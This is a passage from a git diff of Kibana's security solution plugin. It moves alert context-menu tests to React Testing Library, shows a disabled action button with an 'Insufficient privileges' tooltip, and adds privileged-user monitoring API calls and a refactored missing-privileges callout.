'[data-test-subj="alert-tags-context-menu-item"]'; -const applyAlertAssigneesButton = '[data-test-subj="alert-assignees-context-menu-item"]'; +const actionMenuButton = 'timeline-context-menu-button'; +const addToExistingCaseButton = 'add-to-existing-case-action'; +const addToNewCaseButton = 'add-to-new-case-action'; +const markAsOpenButton = 'open-alert-status'; +const markAsAcknowledgedButton = 'acknowledged-alert-status'; +const markAsClosedButton = 'close-alert-status'; +const addEndpointEventFilterButton = 'add-event-filter-menu-item'; +const applyAlertTagsButton = 'alert-tags-context-menu-item'; +const applyAlertAssigneesButton = 'alert-assignees-context-menu-item'; describe('Alert table context menu', () => { describe('Case actions', () => { - test('it render AddToCase context menu item if timelineId === TimelineId.detectionsPage', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - }); + test('it render AddToCase context menu item if timelineId === TimelineId.detectionsPage', async () => { + const wrapper = render( + + + + ); + + await userEvent.click(wrapper.getByTestId(actionMenuButton)); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addToExistingCaseButton).first().exists()).toEqual(true); - expect(wrapper.find(addToNewCaseButton).first().exists()).toEqual(true); + await waitFor(() => { + expect(wrapper.getByTestId(addToExistingCaseButton)).toBeTruthy(); + expect(wrapper.getByTestId(addToNewCaseButton)).toBeTruthy(); + }); }); - test('it render AddToCase context menu item if timelineId === TimelineId.detectionsRulesDetailsPage', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it render AddToCase context menu item if timelineId === TimelineId.detectionsRulesDetailsPage', async () => { + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addToExistingCaseButton).first().exists()).toEqual(true); - expect(wrapper.find(addToNewCaseButton).first().exists()).toEqual(true); - }); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); - test('it render AddToCase context menu item if timelineId === TimelineId.active', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, + await waitFor(() => { + expect(wrapper.getByTestId(addToExistingCaseButton)).toBeTruthy(); + expect(wrapper.getByTestId(addToNewCaseButton)).toBeTruthy(); }); - - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addToExistingCaseButton).first().exists()).toEqual(true); - expect(wrapper.find(addToNewCaseButton).first().exists()).toEqual(true); }); - test('it does NOT render AddToCase context menu item when timelineId is not in the allowed list', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, + test('it render AddToCase context menu item if timelineId === TimelineId.active', async () => { + const wrapper = render( + + + + ); + + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + await waitFor(() => { + expect(wrapper.getByTestId(addToExistingCaseButton)).toBeTruthy(); + expect(wrapper.getByTestId(addToNewCaseButton)).toBeTruthy(); }); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addToExistingCaseButton).first().exists()).toEqual(false); - expect(wrapper.find(addToNewCaseButton).first().exists()).toEqual(false); + }); + + test('it does NOT render AddToCase context menu item when timelineId is not in the allowed list', async () => { + const wrapper = render( + + + + ); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + expect(wrapper.queryByTestId(addToExistingCaseButton)).toBeNull(); + expect(wrapper.queryByTestId(addToNewCaseButton)).toBeNull(); }); }); describe('Alert status actions', () => { - test('it renders the correct status action buttons', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - }); + test('it renders the correct status action buttons', async () => { + const wrapper = render( + + + + ); - wrapper.find(actionMenuButton).simulate('click'); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); - expect(wrapper.find(markAsOpenButton).first().exists()).toEqual(false); - expect(wrapper.find(markAsAcknowledgedButton).first().exists()).toEqual(true); - expect(wrapper.find(markAsClosedButton).first().exists()).toEqual(true); + expect(wrapper.queryByTestId(markAsOpenButton)).toBeNull(); + expect(wrapper.getByTestId(markAsAcknowledgedButton)).toBeInTheDocument(); + expect(wrapper.getByTestId(markAsClosedButton)).toBeInTheDocument(); }); }); @@ -190,81 +208,87 @@ describe('Alert table context menu', () => { }); }); - test('it disables AddEndpointEventFilter when timeline id is not host events page', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it disables AddEndpointEventFilter when timeline id is not host events page', async () => { + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addEndpointEventFilterButton).first().exists()).toEqual(true); - expect(wrapper.find(addEndpointEventFilterButton).first().props().disabled).toEqual(true); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + const button = wrapper.getByTestId(addEndpointEventFilterButton); + + expect(button).toBeInTheDocument(); + expect(button).toBeDisabled(); }); - test('it enables AddEndpointEventFilter when timeline id is host events page', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it enables AddEndpointEventFilter when timeline id is host events page', async () => { + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addEndpointEventFilterButton).first().exists()).toEqual(true); - expect(wrapper.find(addEndpointEventFilterButton).first().props().disabled).toEqual( - false - ); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + const button = wrapper.getByTestId(addEndpointEventFilterButton); + + expect(button).toBeInTheDocument(); + expect(button).not.toBeDisabled(); }); - test('it disables AddEndpointEventFilter when timeline id is host events page but is not from endpoint', () => { + test('it disables AddEndpointEventFilter when timeline id is host events page but is not from endpoint', async () => { const customProps = { ...props, ecsRowData: { ...ecsRowData, agent: { type: ['other'] }, event: { kind: ['event'] } }, }; - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addEndpointEventFilterButton).first().exists()).toEqual(true); - expect(wrapper.find(addEndpointEventFilterButton).first().props().disabled).toEqual(true); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + const button = wrapper.getByTestId(addEndpointEventFilterButton); + + expect(button).toBeInTheDocument(); + expect(button).toBeDisabled(); }); - test('it enables AddEndpointEventFilter when timeline id is user events page', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it enables AddEndpointEventFilter when timeline id is user events page', async () => { + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addEndpointEventFilterButton).first().exists()).toEqual(true); - expect(wrapper.find(addEndpointEventFilterButton).first().props().disabled).toEqual( - false - ); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + const button = wrapper.getByTestId(addEndpointEventFilterButton); + + expect(button).toBeInTheDocument(); + expect(button).not.toBeDisabled(); }); - test('it disables AddEndpointEventFilter when timeline id is user events page but is not from endpoint', () => { + test('it disables AddEndpointEventFilter when timeline id is user events page but is not from endpoint', async () => { const customProps = { ...props, ecsRowData: { ...ecsRowData, agent: { type: ['other'] }, event: { kind: ['event'] } }, }; - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + const wrapper = render( + + + ); - wrapper.find(actionMenuButton).simulate('click'); - expect(wrapper.find(addEndpointEventFilterButton).first().exists()).toEqual(true); - expect(wrapper.find(addEndpointEventFilterButton).first().props().disabled).toEqual(true); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); + + const button = wrapper.getByTestId(addEndpointEventFilterButton); + + expect(button).toBeInTheDocument(); + expect(button).toBeDisabled(); }); }); @@ -276,54 +300,60 @@ describe('Alert table context menu', () => { }); }); - test('it removes AddEndpointEventFilter option when timeline id is host events page but does not has write event filters privilege', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it disables actionMenuButton when timeline id is host events page but does not has write event filters privilege', () => { + const wrapper = render( + + + ); - // Entire actionMenuButton is removed as there is no option available - expect(wrapper.find(actionMenuButton).first().exists()).toEqual(false); + // Entire actionMenuButton is disabled as there is no option available + expect(wrapper.getByTestId(actionMenuButton)).toBeDisabled(); }); - test('it removes AddEndpointEventFilter option when timeline id is user events page but does not has write event filters privilege', () => { - const wrapper = mount( - , - { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - } + test('it disables actionMenuButton when timeline id is user events page but does not has write event filters privilege', () => { + const wrapper = render( + + + ); - // Entire actionMenuButton is removed as there is no option available - expect(wrapper.find(actionMenuButton).first().exists()).toEqual(false); + // Entire actionMenuButton is disabled as there is no option available + expect(wrapper.getByTestId(actionMenuButton)).toBeDisabled(); }); }); }); - }); - describe('Apply alert tags action', () => { - test('it renders the apply alert tags action button', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - }); + describe('Apply alert tags action', () => { + test('it renders the apply alert tags action button', async () => { + const wrapper = render( + + + + ); - wrapper.find(actionMenuButton).simulate('click'); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); - expect(wrapper.find(applyAlertTagsButton).first().exists()).toEqual(true); + await waitFor(() => { + expect(wrapper.getByTestId(applyAlertTagsButton)).toBeTruthy(); + }); + }); }); - }); - describe('Assign alert action', () => { - test('it renders the assign alert action button', () => { - const wrapper = mount(, { - wrappingComponent: TestProviders as EnzymeComponentType<{}>, - }); + describe('Assign alert action', () => { + test('it renders the assign alert action button', async () => { + const wrapper = render( + + + + ); - wrapper.find(actionMenuButton).simulate('click'); + await userEvent.click(wrapper.getByTestId(actionMenuButton)); - expect(wrapper.find(applyAlertAssigneesButton).first().exists()).toEqual(true); + await waitFor(() => { + expect(wrapper.getByTestId(applyAlertAssigneesButton)).toBeTruthy(); + }); + }); }); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.tsx index 9e125cb92f08a..ab5effe2a59a5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.tsx @@ -133,30 +133,13 @@ const AlertContextMenuComponent: React.FC = ({ ); const onButtonClick = useCallback(() => { - setPopover(!isPopoverOpen); - }, [isPopoverOpen]); + setPopover((current) => !current); + }, []); const closePopover = useCallback((): void => { setPopover(false); }, []); - const button = useMemo(() => { - return ( - - - - ); - }, [disabled, onButtonClick, ariaLabel, isPopoverOpen]); - const refetchAll = useCallback(() => { const refetchQuery = (newQueries: inputsModel.GlobalQuery[]) => { newQueries.forEach((q) => q.refetch && (q.refetch as inputsModel.Refetch)()); @@ -287,6 +270,26 @@ const AlertContextMenuComponent: React.FC = ({ [alertTagsPanels, alertAssigneesPanels, items] ); + const button = useMemo(() => { + const hasItems = !!items.length; + const tooltipContent = hasItems ? i18n.MORE_ACTIONS : i18n.INSUFFICIENT_PRIVILEGES; + + return ( + + + + ); + }, [ariaLabel, isPopoverOpen, onButtonClick, disabled, items.length]); + const osqueryFlyout = useMemo(() => { return ( = ({ return ( <> - {items.length > 0 && ( -
    - - - - - -
    - )} +
    + + + + + +
    {openAddExceptionFlyout && ruleId && ruleRuleId && diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/translations.ts index b20f6f76c095b..503edb198f429 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/translations.ts @@ -418,3 +418,10 @@ export const EVENT_RENDERED_VIEW_COLUMNS = { defaultMessage: 'Event Summary', }), }; + +export const INSUFFICIENT_PRIVILEGES = i18n.translate( + 'xpack.securitySolution.detectionEngine.alerts.insufficientPrivileges', + { + defaultMessage: 'Insufficient privileges', + } +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/hooks/trigger_actions_alert_table/use_cell_actions.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/hooks/trigger_actions_alert_table/use_cell_actions.tsx index 06060c8f4914a..33f4665e673be 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/hooks/trigger_actions_alert_table/use_cell_actions.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/hooks/trigger_actions_alert_table/use_cell_actions.tsx @@ -30,7 +30,7 @@ export const useCellActionsOptions = ( > ) => { const newDataViewPickerEnabled = useIsExperimentalFeatureEnabled('newDataViewPickerEnabled'); - const experimentalDataView = useDataView(SourcererScopeName.detections); + const { dataView: experimentalDataView } = useDataView(SourcererScopeName.detections); const { columns = [], @@ -39,9 +39,9 @@ export const useCellActionsOptions = ( pageSize = 0, dataGridRef, } = context ?? {}; - const getFieldSpec = useGetFieldSpec(SourcererScopeName.detections); + const oldGetFieldSpec = useGetFieldSpec(SourcererScopeName.detections); const oldDataViewId = useDataViewId(SourcererScopeName.detections); - const dataViewId = newDataViewPickerEnabled ? experimentalDataView?.dataView?.id : oldDataViewId; + const dataViewId = newDataViewPickerEnabled ? experimentalDataView?.id : oldDataViewId; const cellActionsMetadata = useMemo( () => ({ scopeId: tableId, dataViewId }), @@ -52,15 +52,15 @@ export const useCellActionsOptions = ( columns.map( (column) => (newDataViewPickerEnabled - ? experimentalDataView.dataView?.fields?.getByName(column.id)?.toSpec() - : getFieldSpec(column.id)) ?? { + ? experimentalDataView?.fields?.getByName(column.id)?.toSpec() + : oldGetFieldSpec(column.id)) ?? { name: '', type: '', // When type is an empty string all cell actions are incompatible aggregatable: false, searchable: false, } ), - [columns, experimentalDataView.dataView?.fields, getFieldSpec, newDataViewPickerEnabled] + [columns, experimentalDataView?.fields, oldGetFieldSpec, newDataViewPickerEnabled] ); /** diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/pages/alerts/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/pages/alerts/index.tsx index 3b3fae80c6643..bbca0fced0678 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/pages/alerts/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/pages/alerts/index.tsx @@ -9,17 +9,12 @@ import React from 'react'; import { Route, Routes } from '@kbn/shared-ux-router'; import { TrackApplicationView } from '@kbn/usage-collection-plugin/public'; -import { - ALERT_DETAILS_REDIRECT_PATH, - ALERTS_PATH, - SecurityPageName, -} from '../../../../common/constants'; +import { ALERTS_PATH, SecurityPageName } from '../../../../common/constants'; import { NotFoundPage } from '../../../app/404'; import * as i18n from './translations'; import { DetectionEnginePage } from './detection_engine'; import { SpyRoute } from '../../../common/utils/route/spy_routes'; import { useReadonlyHeader } from '../../../use_readonly_header'; -import { AlertDetailsRedirect } from './alert_details_redirect'; const AlertsRoute = () => ( @@ -34,7 +29,6 @@ const AlertsContainerComponent: React.FC = () => { {/* Redirect to the alerts page filtered for the given alert id */} - ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/api.ts b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/api.ts index 6e879cef734a9..042ff8026acc1 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/api.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/api.ts @@ -6,10 +6,17 @@ */ import { useMemo } from 'react'; +import type { PrivMonPrivilegesResponse } from '../../../common/api/entity_analytics/privilege_monitoring/privileges.gen'; +import type { + CreateEntitySourceResponse, + ListEntitySourcesResponse, + UpdateEntitySourceResponse, +} from '../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import type { CreatePrivilegesImportIndexResponse } from '../../../common/api/entity_analytics/monitoring/create_index.gen'; import type { PrivMonHealthResponse } from '../../../common/api/entity_analytics/privilege_monitoring/health.gen'; import type { InitMonitoringEngineResponse } from '../../../common/api/entity_analytics/privilege_monitoring/engine/init.gen'; import { + getPrivmonMonitoringSourceByIdUrl, PRIVMON_PUBLIC_INIT, PRIVMON_USER_PUBLIC_CSV_UPLOAD_URL, } from '../../../common/entity_analytics/privileged_user_monitoring/constants'; @@ -55,6 +62,7 @@ import { RISK_ENGINE_SCHEDULE_NOW_URL, RISK_ENGINE_CONFIGURE_SO_URL, ASSET_CRITICALITY_PUBLIC_LIST_URL, + PRIVILEGE_MONITORING_PRIVILEGE_CHECK_API, } from '../../../common/constants'; import type { SnakeToCamelCase } from '../common/utils'; import { useKibana } from '../../common/lib/kibana/kibana_react'; @@ -65,6 +73,13 @@ import { type ListEntitiesRequestQuery } from '../../../common/api/entity_analyt export interface DeleteAssetCriticalityResponse { deleted: true; } + +/** + * This hardcoded name was temporarily introduced for 9.1.0. + * It is used to identify the only entity source that can be edited by the UI. + */ +const ENTITY_SOURCE_NAME = 'User Monitored Indices'; + export const useEntityAnalyticsRoutes = () => { const http = useKibana().services.http; @@ -237,22 +252,40 @@ export const useEntityAnalyticsRoutes = () => { * Register a data source for privilege monitoring engine */ const registerPrivMonMonitoredIndices = async (indexPattern: string | undefined) => - http.fetch( - '/api/entity_analytics/monitoring/entity_source', - { - version: API_VERSIONS.public.v1, - method: 'POST', + http.fetch('/api/entity_analytics/monitoring/entity_source', { + version: API_VERSIONS.public.v1, + method: 'POST', - body: JSON.stringify({ - type: 'index', - name: 'User Monitored Indices', - indexPattern, - }), - } - ); + body: JSON.stringify({ + type: 'index', + name: ENTITY_SOURCE_NAME, + indexPattern, + }), + }); + + /** + * Update a data source for privilege monitoring engine + */ + const updatePrivMonMonitoredIndices = async (id: string, indexPattern: string | undefined) => + http.fetch(getPrivmonMonitoringSourceByIdUrl(id), { + version: API_VERSIONS.public.v1, + method: 'PUT', + body: JSON.stringify({ + type: 'index', + name: ENTITY_SOURCE_NAME, + indexPattern, + }), + }); /** * Create asset criticality + /** + * + * + * @param {(Pick & { + * refresh?: 'wait_for'; + * })} params + * @return {*} {Promise} */ const createAssetCriticality = async ( params: Pick & { @@ -345,6 +378,21 @@ export const useEntityAnalyticsRoutes = () => { ); }; + /** + * List all data source for privilege monitoring engine + */ + const listPrivMonMonitoredIndices = async ({ signal }: { signal?: AbortSignal }) => + http.fetch('/api/entity_analytics/monitoring/entity_source/list', { + version: API_VERSIONS.public.v1, + method: 'GET', + signal, + query: { + type: 'index', + managed: false, + name: ENTITY_SOURCE_NAME, + }, + }); + const uploadPrivilegedUserMonitoringFile = async ( fileContent: string, fileName: string @@ -365,18 +413,24 @@ export const useEntityAnalyticsRoutes = () => { }); }; - const initPrivilegedMonitoringEngine = async (): Promise => + const initPrivilegedMonitoringEngine = (): Promise => http.fetch(PRIVMON_PUBLIC_INIT, { version: API_VERSIONS.public.v1, method: 'POST', }); - const fetchPrivilegeMonitoringEngineStatus = async (): Promise => + const fetchPrivilegeMonitoringEngineStatus = (): Promise => http.fetch('/api/entity_analytics/monitoring/privileges/health', { version: API_VERSIONS.public.v1, method: 'GET', }); + const fetchPrivilegeMonitoringPrivileges = (): Promise => + http.fetch(PRIVILEGE_MONITORING_PRIVILEGE_CHECK_API, { + version: API_VERSIONS.public.v1, + method: 'GET', + }); + /** * Fetches risk engine settings */ @@ -396,13 +450,12 @@ export const useEntityAnalyticsRoutes = () => { method: 'DELETE', }); - const updateSavedObjectConfiguration = (params: {}) => { + const updateSavedObjectConfiguration = (params: {}) => http.fetch(RISK_ENGINE_CONFIGURE_SO_URL, { version: API_VERSIONS.public.v1, method: 'PUT', body: JSON.stringify(params), }); - }; return { fetchRiskScorePreview, @@ -424,12 +477,15 @@ export const useEntityAnalyticsRoutes = () => { uploadPrivilegedUserMonitoringFile, initPrivilegedMonitoringEngine, registerPrivMonMonitoredIndices, + updatePrivMonMonitoredIndices, fetchPrivilegeMonitoringEngineStatus, + fetchPrivilegeMonitoringPrivileges, fetchRiskEngineSettings, calculateEntityRiskScore, cleanUpRiskEngine, fetchEntitiesList, updateSavedObjectConfiguration, + listPrivMonMonitoredIndices, }; }, [http]); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/hooks/use_privileged_monitoring_privileges.ts b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/hooks/use_privileged_monitoring_privileges.ts new file mode 100644 index 0000000000000..5593a9ae6380a --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/api/hooks/use_privileged_monitoring_privileges.ts @@ -0,0 +1,19 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ +import { useQuery } from '@tanstack/react-query'; +import type { SecurityAppError } from '@kbn/securitysolution-t-grid'; +import type { PrivMonPrivilegesResponse } from '../../../../common/api/entity_analytics/privilege_monitoring/privileges.gen'; +import { useEntityAnalyticsRoutes } from '../api'; + +export const usePrivilegedMonitoringPrivileges = () => { + const { fetchPrivilegeMonitoringPrivileges } = useEntityAnalyticsRoutes(); + return useQuery({ + queryKey: ['GET', 'FETCH_PRIVILEGED_MONITORING_PRIVILEGES'], + queryFn: fetchPrivilegeMonitoringPrivileges, + retry: 0, + }); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/__snapshots__/risk_score_configuration_section.test.tsx.snap b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/__snapshots__/risk_score_configuration_section.test.tsx.snap deleted file mode 100644 index ead244e633429..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/__snapshots__/risk_score_configuration_section.test.tsx.snap +++ /dev/null @@ -1,41 +0,0 @@ -// Jest Snapshot v1, https://goo.gl/fbAQLP - -exports[`RiskScoreConfigurationSection renders correctly 1`] = ` - - -
    - -
    - -
    - -
    -
    - - -

    - Enable this option to factor both open and closed alerts into the risk engine - calculations. Including closed alerts helps provide a more comprehensive risk assessment - based on past incidents, leading to more accurate scoring and insights. -

    -
    -
    -`; diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.test.tsx index 31bdb7c99814d..6f824f26fa294 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.test.tsx @@ -169,9 +169,7 @@ describe('EntityStoreEnablementModal', () => { it('should not show entity engine missing privileges warning when no missing privileges', () => { renderComponent(); - expect( - screen.queryByTestId('callout-missing-entity-store-privileges') - ).not.toBeInTheDocument(); + expect(screen.queryByTestId('callout-missing-privileges-callout')).not.toBeInTheDocument(); }); it('should not show risk engine missing privileges warning when no missing privileges', () => { @@ -194,7 +192,7 @@ describe('EntityStoreEnablementModal', () => { it('should show entity engine missing privileges warning when missing privileges', () => { renderComponent(); - expect(screen.getByTestId('callout-missing-entity-store-privileges')).toBeInTheDocument(); + expect(screen.getByTestId('callout-missing-privileges-callout')).toBeInTheDocument(); }); it('should show risk engine missing privileges warning when missing privileges', () => { @@ -215,7 +213,7 @@ describe('EntityStoreEnablementModal', () => { it('should disabled the "enable" button', async () => { renderComponent(); - expect(screen.getByTestId('callout-missing-entity-store-privileges')).toBeInTheDocument(); + expect(screen.getByTestId('callout-missing-privileges-callout')).toBeInTheDocument(); const enableButton = screen.getByRole('button', { name: /Enable/i }); expect(enableButton).toBeDisabled(); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.tsx index 61ab9ba53edca..ae97ed7a4e3fb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/enablement_modal.tsx @@ -24,6 +24,7 @@ import { import { css } from '@emotion/react'; import React, { useEffect, useState } from 'react'; import { FormattedMessage } from '@kbn/i18n-react'; +import { i18n } from '@kbn/i18n'; import type { RiskEngineStatus, StoreStatus } from '../../../../../common/api/entity_analytics'; import { RiskEngineStatusEnum } from '../../../../../common/api/entity_analytics'; import { useContractComponents } from '../../../../common/hooks/use_contract_component'; @@ -32,11 +33,10 @@ import { ENABLEMENT_DESCRIPTION_ENTITY_STORE_ONLY, ENABLEMENT_WARNING_SELECT_TO_PROCEED, } from '../translations'; -import { MissingPrivilegesCallout } from './missing_privileges_callout'; +import { EntityStoreMissingPrivilegesCallout } from './entity_store_missing_privileges_callout'; import { useMissingRiskEnginePrivileges } from '../../../hooks/use_missing_risk_engine_privileges'; import { RiskEnginePrivilegesCallOut } from '../../risk_engine_privileges_callout'; import { useEntityEnginePrivileges } from '../hooks/use_entity_engine_privileges'; - export interface Enablements { riskScore: boolean; entityStore: boolean; @@ -62,6 +62,12 @@ const isInstallButtonEnabled = ( return false; }; +const ENTITY_STORE = i18n.translate( + 'xpack.securitySolution.entityAnalytics.enablements.modal.store', + { + defaultMessage: 'Entity Store', + } +); export const EntityStoreEnablementModal: React.FC = ({ visible, toggle, @@ -166,12 +172,7 @@ export const EntityStoreEnablementModal: React.FC - } + label={ENTITY_STORE} checked={toggleState.entityStore} disabled={!canInstallEntityStore} onChange={() => @@ -183,7 +184,7 @@ export const EntityStoreEnablementModal: React.FC {!entityEnginePrivileges || entityEnginePrivileges.has_all_required ? null : ( - + )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/entity_store_missing_privileges_callout.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/entity_store_missing_privileges_callout.tsx new file mode 100644 index 0000000000000..2528367a615f2 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/entity_store_missing_privileges_callout.tsx @@ -0,0 +1,27 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { FormattedMessage } from '@kbn/i18n-react'; +import type { EntityAnalyticsPrivileges } from '../../../../../common/api/entity_analytics'; +import { MissingPrivilegesCallout } from '../../missing_privileges_callout'; + +export const EntityStoreMissingPrivilegesCallout = ({ + privileges, +}: { + privileges: EntityAnalyticsPrivileges; +}) => ( + + } + /> +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/missing_privileges_callout.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/missing_privileges_callout.tsx similarity index 84% rename from x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/missing_privileges_callout.tsx rename to x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/missing_privileges_callout.tsx index 9eae5aceba7a4..debccf8ab9fa1 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/entity_store/components/missing_privileges_callout.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/missing_privileges_callout.tsx @@ -6,15 +6,20 @@ */ import { EuiCallOut, EuiCode, EuiText } from '@elastic/eui'; +import type { ReactNode } from 'react'; import React from 'react'; import { FormattedMessage } from '@kbn/i18n-react'; -import { LineClamp } from '../../../../common/components/line_clamp'; -import type { EntityAnalyticsPrivileges } from '../../../../../common/api/entity_analytics'; -import { getAllMissingPrivileges } from '../../../../../common/entity_analytics/privileges'; -import { CommaSeparatedValues } from '../../../../detections/components/callouts/missing_privileges_callout/comma_separated_values'; +import { LineClamp } from '../../common/components/line_clamp'; +import type { EntityAnalyticsPrivileges } from '../../../common/api/entity_analytics'; +import { getAllMissingPrivileges } from '../../../common/entity_analytics/privileges'; +import { CommaSeparatedValues } from '../../detections/components/callouts/missing_privileges_callout/comma_separated_values'; interface MissingPrivilegesCalloutProps { privileges: EntityAnalyticsPrivileges; + /** + * I18n feature name for the callout. + */ + title: ReactNode; } /** @@ -24,21 +29,16 @@ interface MissingPrivilegesCalloutProps { const LINE_CLAMP_HEIGHT = '4.4em'; export const MissingPrivilegesCallout = React.memo( - ({ privileges }: MissingPrivilegesCalloutProps) => { + ({ privileges, title }: MissingPrivilegesCalloutProps) => { const missingPrivileges = getAllMissingPrivileges(privileges); const indexPrivileges = missingPrivileges.elasticsearch.index ?? {}; const clusterPrivileges = missingPrivileges.elasticsearch.cluster ?? {}; const featurePrivileges = missingPrivileges.kibana; - const id = `missing-entity-store-privileges`; + const id = `missing-privileges-callout`; return ( - } + title={title} iconType={'info'} data-test-subj={`callout-${id}`} data-test-messages={`[${id}]`} diff --git a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/anomalies_detected_tile/esql_query.tsx b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/anomalies_detected_tile/esql_query.tsx index 0838f9fb2a0ca..f8c1f089a4f99 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/anomalies_detected_tile/esql_query.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/entity_analytics/components/privileged_user_monitoring/components/key_insights_panel/anomalies_detected_tile/esql_query.tsx @@ -5,10 +5,11 @@ * 2.0. */ +import { ML_ANOMALIES_INDEX } from '../../../../../../../common/constants'; import { getPrivilegedMonitorUsersJoin } from '../../../queries/helpers'; export const getAnomaliesDetectedEsqlQuery = (namespace: string) => { - return `FROM .ml-anomalies-shared + return `FROM 